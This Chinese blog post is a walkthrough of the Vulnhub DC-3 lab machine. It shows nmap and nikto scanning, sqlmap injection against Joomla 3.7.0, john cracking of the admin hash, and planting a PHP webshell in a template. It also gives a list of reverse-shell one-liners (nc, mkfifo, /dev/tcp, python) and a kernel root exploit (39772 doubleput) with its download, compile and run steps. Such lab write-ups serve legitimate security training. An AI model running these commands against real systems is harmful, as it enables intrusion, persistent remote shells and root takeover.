程序员经验分享-hwhale

dc-3 靶机渗透学习

2023-11-16

靶机修复

dc-3靶机可能会存在扫不到靶机ip的问题，可以参考下面这篇博客解决，编辑网卡配置文件时命令有点错误。

vim /etc/network/interfacers

改成  

vim /etc/network/interfaces

Vulnhub靶机检测不到IP地址_阿帅start的博客-CSDN博客_靶机没有ip

信息收集

使用nmap对当前网段进行扫描

nmap -sP 192.168.202.0/24

在排除kali攻击机和物理机ip后，对192.168.202.132 、192.168.202.254分别进行扫描，发现ip末尾为132的主机为攻击机（过程省略了），对靶机进行端口服务扫描。 

nmap -A -p- -v 192.168.202.132

发现80端口开启，对靶机的80端口进行访问

 老规矩，上百度翻译，大概的意思是说只有一个flag，得通过获得root权限来拿到它。 

漏洞分析

那么使用nikto对该站点进行扫描，看一下有哪些漏洞或者文件

nikto -url http://192.168.202.132

可以发现有个index.php，意味爆出了Joomla，猜测该页面可能是Joomla框架，先去administrator/index.php看一下。

果然是joomla框架，其实也可以利用Wappalyzer对页面进行框架识别，在kali的火狐拓展搜索，安装后开启使用就行了。

知道是Joomla框架，用Joomla专门的CMS扫描器扫描

joomla --url http://192.168.202.132

扫描出来为joomla 3.7.0版本，进入msf找一下漏洞，尝试使用该漏洞打，发现没成功。

接着使用searchsploit试试

searchsploit joomla 3.7.0

 查看一下这个3.7.0的漏洞信息

searchsploit -x  php/webapps/42033.txt

根据漏洞描述，使用sqlmap来攻击

 查找全部的数据库，遇到选项一直按y就行

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

查找当前使用的数据库

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]

查找数据库中的表

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  --tables  -p list[fullordering]

查看#__users表里面的内容

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' --columns  -p list[fullordering]

 查询username、password字段里面的内容

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' -C 'username,password' --dump  -p list[fullordering]

得到后台密码后，先复制密码保存进1.txt，然后拿到john爆破一下

vim 1.txt   #按下Esc键后，输入:wq保存退出
cat 1.txt
john 1.txt

 在第一次打的时候我已经爆破过了，如果爆破成功，john会对同一个爆破目标的结果有存档，再次爆破时不会显示出来。

登录后台

得到后台账号密码，登录靶机joomla框架的后台

admin

snoopy

在登录后台之后得想办法找到文件上传点、文件包含点.......来拿到webshell，经过寻找可以发现在Templates(模板)的Templates里可以自己创建php文件。

 

选择创建一个新文件，并且写入一句话木马

 

访问一下192.168.202.132发现文件不存在，那么肯定是路径不对

搜一下Joomla框架的模板路径

 再根据模板模块中的信息尝试一下就可以找到

shell.php的路径为

http://192.168.202.132/templates/beez3/html/shell.php

上面是个人的尝试，看一下别人搜到的路径

反弹shell

进入蚁剑进行连接

反弹shell是为了后面的提权做准备，不能使用蚁剑提权，因为HTTP是瞬时协议，我这边正提权呢，你那边TCP四次挥手断开连接了，不能持久连接，所以蚁剑的作用就在于上传文件来提权。

反弹shell总结

利用nc反弹shell
本地监听2333 端口
nc -lnvp 2333

服务端反弹（下面的ip为kali的ip）
nc -e /bin/bash 192.168.40.144 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.100 2333>/tmp/f（nc无 -e功能的时候）
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.16.100/2333 0>&1

利用bash反弹shell
bash -i >& /dev/tcp/192.168.61.145/2222 0>&1

利用python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.72.141",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在蚁剑处进入/bin/nc下查看，发现没有nc -e命令，所以上面有些姿势不能使用。

 经过测试，下面这个姿势可以使用，kali机使用nc -lvnp 8888监听端口

当二者连接之后，这个连接就是持久连接，只要kali机不主动断开，就可以长时间连接。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.202.129 8888>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.202.129 8888>/tmp/f

提权

因为现在我们还是www-data权限，得想办法得到root权限，有两种办法。

第一种方法

获取当前操作系统的版本信息

cat /proc/version

 获取当前操作系统的发行版信息

cat /etc/issue

看到当前版本是Ubuntu 16.04， 去searchsploit寻找一下漏洞

searchsploit Ubuntu 16.04

 眼花缭乱的漏洞，该怎么选择呢？这就得依靠我们上面cat 得到的信息了

Linux version  4.4.0-21

Ubuntu 16.04

 通过第一个条件筛选，就剩下六个

再通过第二个条件过滤，只剩下最后四个

虽然还剩四个，但是也少了很多。因为c语言的脚本用起来麻烦一点，先看一下39772.txt这个，使用命令查看一下漏洞说明

searchsploit使用_Blankup的博客-CSDN博客_searchsploit使用方法

searchsploit -x linux/local/39772.txt

 它提示去github下载攻击压缩包，至于怎么去，懂的懂的，看看外面的世界

 https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

下载以后在蚁剑上传到有权限的文件夹中，好比/tmp是存放临时文件的，我有权限上传文件，上传会对其解压。

其实也可以在kali开启apache服务，上传39772.zip到kali上，然后在反弹shell的地方使用wget下载。

cd /tmp
ls
unzip 39772.zip
ls

 一步步进入到文件用法中提到/ebpf_mapfd_doubleput的目录下

cd 39772
ls
tar xvf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit

然后赋予文件可执行权限......执行文件

ls
chmod +x compile.sh
./compile.sh
ls
chmod +x doubleput
./doubleput

 最后就是找flag就行了 

第二种方法

上传辅助脚本来发现存在哪里漏洞

 使用kali来操作

cd /tmp
ls -l power.sh    #查看是否有可执行权限
tmp$ chmod +x power.sh   #赋予可执行权限
./power.sh               #运行脚本

接着会发现一大堆漏洞

我这里以[CVE-2016-4557]为例，在图片里可以看到是一个39772的文件，由于给出的那个URL无法下载，这里去seachsploit里面去看看

找到后进入查看就行了，使用方法还是和第一个一样。 

这篇文章的辅助脚本也差不多一样，下载linux的提权辅助，里面说了用法

渗透利器 | 提权辅助工具箱_Bypass--的博客-CSDN博客

提权学习之旅——Linux操作系统提权_Sn0w/的博客-CSDN博客_linux系统提权

参考文章

vulnhub之DC3靶机_lainwith的博客-CSDN博客

vulnhub-DC3靶机 - xinZa1

DC-3靶机 渗透测试_她叫常玉莹的博客-CSDN博客

Vulnhub靶机实战——DC-3_冠霖L的博客-CSDN博客_vulnhub靶机

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

靶机

web安全

Kali

Linux

dc-3 靶机渗透学习 的相关文章

  • Tomcat Intellij Idea：远程部署

    RackSpace 云服务器 Ubuntu 12 04 Intellij Idea 11 1 2 Windows 8 Tomcat 7 0 26 JDK 6 在 Intellij Idea 上 当我尝试在远程 Tomcat 7 服务器上运行

  • 找不到包“gdk-pixbuf-2.0”

    我正在尝试在 Amazon Linux 发行版实例上构建 librsvg 我已经通过 yum 安装了大部分依赖项 其中一些在实例上启用的默认 yum 存储库中不可用 因此必须从头开始构建它们 我已经走了很远 但还停留在最后一点 跑步时sud

  • 为什么 Linux 原始套接字的 RX 环大小限制为 4GB？

    背景 我试图mmap 我的原始套接字的 RX 环形缓冲区64 bitLinux 应用程序 我的环由 4096 个块组成 每个块大小为 1MB 总共 4GB 请注意 每个 1MB 块中可以有许多帧 如果您好奇 请参阅此文档了解背景信息 htt

  • 仅使用containerd（不使用Docker）修剪容器镜像

    如果我刚刚containerd安装在 Linux 系统上 即 Docker 是not安装 如何删除未使用的容器映像以节省磁盘空间 Docker 就是这么方便docker system prune https docs docker com

  • 执行命令而不将其保留在历史记录中[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 在进行软件开发时 经常需要在命令行命令中包含机密信息 典型示例是将项目部署到服务器的凭据设置为环境变量 当我不想将某些命令存储在命令历史记

  • python获取上传/下载速度

    我想在我的计算机上监控上传和下载速度 一个名为 conky 的程序已经在 conky conf 中执行了以下操作 Connection quality alignr wireless link qual perc wlan0 downspe

  • 就分页分段内存而言的程序寿命

    我对 x86 Linux 机器中的分段和分页过程有一个令人困惑的概念 如果有人能澄清从开始到结束所涉及的所有步骤 我们将很高兴 x86 使用分页分段内存技术进行内存管理 任何人都可以解释一下从可执行的 elf 格式文件从硬盘加载到主内存到它

  • 执行“minikube start”命令时出现问题

    malik malik minikube start minikube v1 12 0 on Ubuntu 18 04 Using the docker driver based on existing profile Starting c

  • 尽管 if 语句，Visual Studio 仍尝试包含 Linux 标头

    我正在尝试创建一个强大的头文件 无需更改即可在 Windows 和 Linux 上进行编译 为此 我的包含内容中有一个 if 语句 如下所示 if defined WINDOWS include

  • 使用非规范地址检索内存数据会导致 SIGSEGV 而不是 SIGBUS

    我无法使用以下汇编代码产生 总线错误 这里我使用的内存地址不是合法的 规范地址 那么 我怎样才能触发该错误呢 我在带有 NASM 2 14 02 的 Ubuntu 20 04 LTS 下运行这段代码 但它会导致负载出现 SIGSEGV 分段

  • 如何根据标签将单个 XML 文件拆分为多个

    我有一个带有标签的 XML 文件 我想像这样分割文件

  • 并行运行 shell 脚本

    我有一个 shell 脚本 打乱大型文本文件 600 万行和 6 列 根据第一列对文件进行排序 输出 1000 个文件 所以伪代码看起来像这样 file1 sh bin bash for i in seq 1 1000 do Generat

  • CMake 链接 glfw3 lib 错误

    我正在使用 CLion 并且正在使用 glfw3 库编写一个程序 http www glfw org docs latest http www glfw org docs latest 我安装并正确执行了库中的所有操作 我有 a 和 h 文

  • 内核的panic()函数是否完全冻结所有其他进程？

    我想确认内核的panic 功能和其他类似kernel halt and machine halt 一旦触发 保证机器完全冻结 那么 所有的内核和用户进程都被冻结了吗 是panic 可以被调度程序中断吗 中断处理程序仍然可以执行吗 用例 如果

  • 如何在 Linux 中使用 C 语言使用共享内存

    我的一个项目有点问题 我一直在试图找到一个有据可查的使用共享内存的例子fork 但没有成功 基本上情况是 当用户启动程序时 我需要在共享内存中存储两个值 当前路径这是一个char and a 文件名这也是char 根据命令参数 启动一个新进

  • Intel 上的 gcc 中的 _mm_pause 用法

    我参考过这个网页 https software intel com en us articles benefitting power and performance sleep loops https software intel com

  • 错误：“rjags”的包或命名空间加载失败

    在终端的 conda 环境之一中 我能够成功安装包 rjags 但是 当我在该环境中运行 R 并运行库 rjags 时 出现以下错误 加载所需的包 coda 错误 rjags 的包或命名空间加载失败 rjags 的 loadNamespac

  • 在生产服务器上使用 Subversion 使文件生效的最佳方法是什么？

    目前我已经设置了 subversion 这样当我在 Eclipse PDT 中进行更改时 我可以提交更改 它们将保存在 home administrator 中项目文件 该文件具有 subversion 推荐的 branches tags

  • 如何使用Android获取Linux内核的版本？

    如何在 Android 应用程序中获取 Linux 内核的版本 不是 100 确定 但我认为调用 uname r 需要 root 访问权限 无论如何 有一种不太肮脏的方法可以做到这一点 那就是 System getProperty os v

  • 如何让 Node.js 作为后台进程运行并且永不死掉？

    我通过 putty SSH 连接到 linux 服务器 我尝试将其作为后台进程运行 如下所示 node server js 然而 2 5 小时后 终端变得不活动 进程终止 即使终端断开连接 我是否也可以使进程保持活动状态 Edit 1 事实

随机推荐

  • 支付宝小程序&财富号&基金相关页面之间相关跳转

    支付宝小程序跳转 小程序跳转财富号 this global urlHandler alipays platformapi startapp appId xxxx00002019101768404279 query publicId 3Dxx

  • c 语言实现 atof() 函数

    c 语言实现 atof 函数 1 atof 函数介绍 浮点数的合法表达形式 测试自带 atof 函数 2 实现 atof 函数功能 1 atof 函数介绍 C 库函数 double atof const char str 属于库函数 std

  • python读取mat数据后转格式提示“KeyError: 0”

    在使用python读取mat数据后 需要进行数据类型转换 结果在如下代码行报错 这是一个字典类型的数据 报错是因为key用错了 也就是这个数据的key不是 Segmentation 于是看了下matlab存储时使用的key 原来是 SrcI

  • 渗透测试常见的安全漏洞有哪些？

    学习渗透测试的时候 最需要了解的就是各种各样的漏洞 那么渗透测试常见的漏洞有哪些呢 本文为大家介绍9种常见漏洞 希望对你们有帮助 1 Sql注入漏洞 攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中 而网站应用程序未对其进行过

  • web项目运行报错: IOException parsing XML document from class path resource [applicationContext.xml]

    git clone之前自己做的项目到本地运行 发现控制台报错了 报错内容 org springframework beans factory BeanDefinitionStoreException IOException parsing

  • 【华为OD机试】IPv4地址转换成整数【2023 B卷

    华为OD机试 真题 点这里 华为OD机试 真题考点分类 点这里 题目描述 存在一种虚拟IPv4地址 由4小节组成 每节的范围为0 255 以 号间隔 虚拟IPv4地址可以转换为一个32位的整数 例如 128 0 255 255 转换为32位

  • linux下解决: Argument list too long问题

    bash usr bin cp Argument list too long 使用mv命令也是如此 找到大神提供的解决方案是使用for循环解决 for i in oldPath do cp i newPath done 以上方法同样适用于m

  • 【纯前端实现页面总结一】-- 导航栏布局以及点击展示不同界面+iframe标签引入的页面自适应高度（在html中引入另一个html文件）【已解决】

    说明 jQuery实现 点击导航栏变换iframe标签引入的页面 默认展示首页 css样式默认应用于 首页 导航栏 点击切换页面 并且导航栏样式改变 一 页面切换效果如下 小声逼逼 关于录屏软件的推荐 这篇博客里面有的哦 没有水印哒 二 h

  • platform下的js分析_3

    目录 主要包含 CCSAXParser js CCSAXParser js preprocess class js CCClass js CCClass js中 使用较多的函数 主要包含 CCSAXParser js CCSAXParser

  • 开中断和关中断

    关中断和开中断其实就是像我们生活中的开关一样 关中断是为了保护一些不能中途停止执行的程序而设计的 计算机的CPU进行的是时分复用 即每个时钟周期内 CPU只能执行一条指令 在多道程序设计的环境下 就是我们通常所说的多个程序同时运行时 CPU

  • 如何在 Windows Server 上搭建 Git Repository Server？

    Git 作为开发工具之一 主要用于辅助团队开发的版本控制等 相似的工具大家也或许接触过 CVS 和 SVN 等 最为大家耳熟能详的或许就是 Github 和中国的 Gitee 了 但是网上的资料都围绕着 Linux 的环境 而没有过多考虑过

  • SVF——C/C++指针分析/(数据)依赖分析框架

    这篇文章包括 SVF介绍 SVF源码解读 SVF优势与不足 如何扩展改进 文章包括一些个人观点 若觉得有误请留言纠正 感谢 在这篇文章之前强烈推荐看我公众号之前推的一篇文章 CG0 2011 Flow sensitive pointer a

  • 虚拟机配置时间同步-ntp

    安装ntp yum y install ntp 验证是否安装成功 ntpd version 依次执行以下命令即可 ntpdate u ntp sjtu edu cn cp usr share zoneinfo Asia Shanghai e

  • 7 款炫酷的 VSCode 主题扩展

    关注后回复 进群 拉你进程序员交流群 作者丨小集 来源丨小集 ID zsxjtip 在 VSCode 中 安装自定义主题和图标包可以彻底改变 VSCode 的外观 VSCode 有数千种不同的包可用 在这里 我们推荐几个不错的主题扩展 Gi

  • 这是啥SQL，室友看了人傻了

    文章目录 SQLite适应常规基本应用场景 SQLite面对复杂场景尚有不足 SPL全面支持各种数据源 SPL的计算能力更强大 优化体系结构 SPL资料 可以在Java应用中嵌入的数据引擎看起来比较丰富 但其实并不容易选择 Redis计算能

  • 【数据结构】五种用于查询的数据结构 性能测试

    github项目地址 1 总体说明 本报告一共实现了五种用于查询的数据结构 二叉搜索树 二叉平衡树 二叉伸展树 跳表 数组 在完成各种数据的增删查功能的基础上 对于不同数据结构的查询效率进行了评测与对比 对空间性能进行了理论的分析 大致实验

  • AngularJS UI Router(ui.router)嵌套视图(Nested Views)

    1 dom结构 index html

  • UE_移动端测试使用

    教程流程 参照官方文档 android篇 https docs unrealengine com 5 1 zh CN android development requirements for unreal engine https docs

  • 电巢携手陕西理工大学“硬件研发岗位岗前项目实训”顺利开班！

    为深化校企合作 产教融合助力新工科建设 提升学生工程实践能力 电巢工程能力实训班按照不同岗位类别 匹配对应的企业岗位任职能力要求对学生开展分级培养 以产业需求为导向 培养创新型 应用型人才 7月27日下午3时 深圳电巢联合陕西理工大学物理与

  • dc-3 靶机渗透学习

    靶机修复 dc 3靶机可能会存在扫不到靶机ip的问题 可以参考下面这篇博客解决 编辑网卡配置文件时命令有点错误 vim etc network interfacers 改成 vim etc network interfaces Vulnhu

热门标签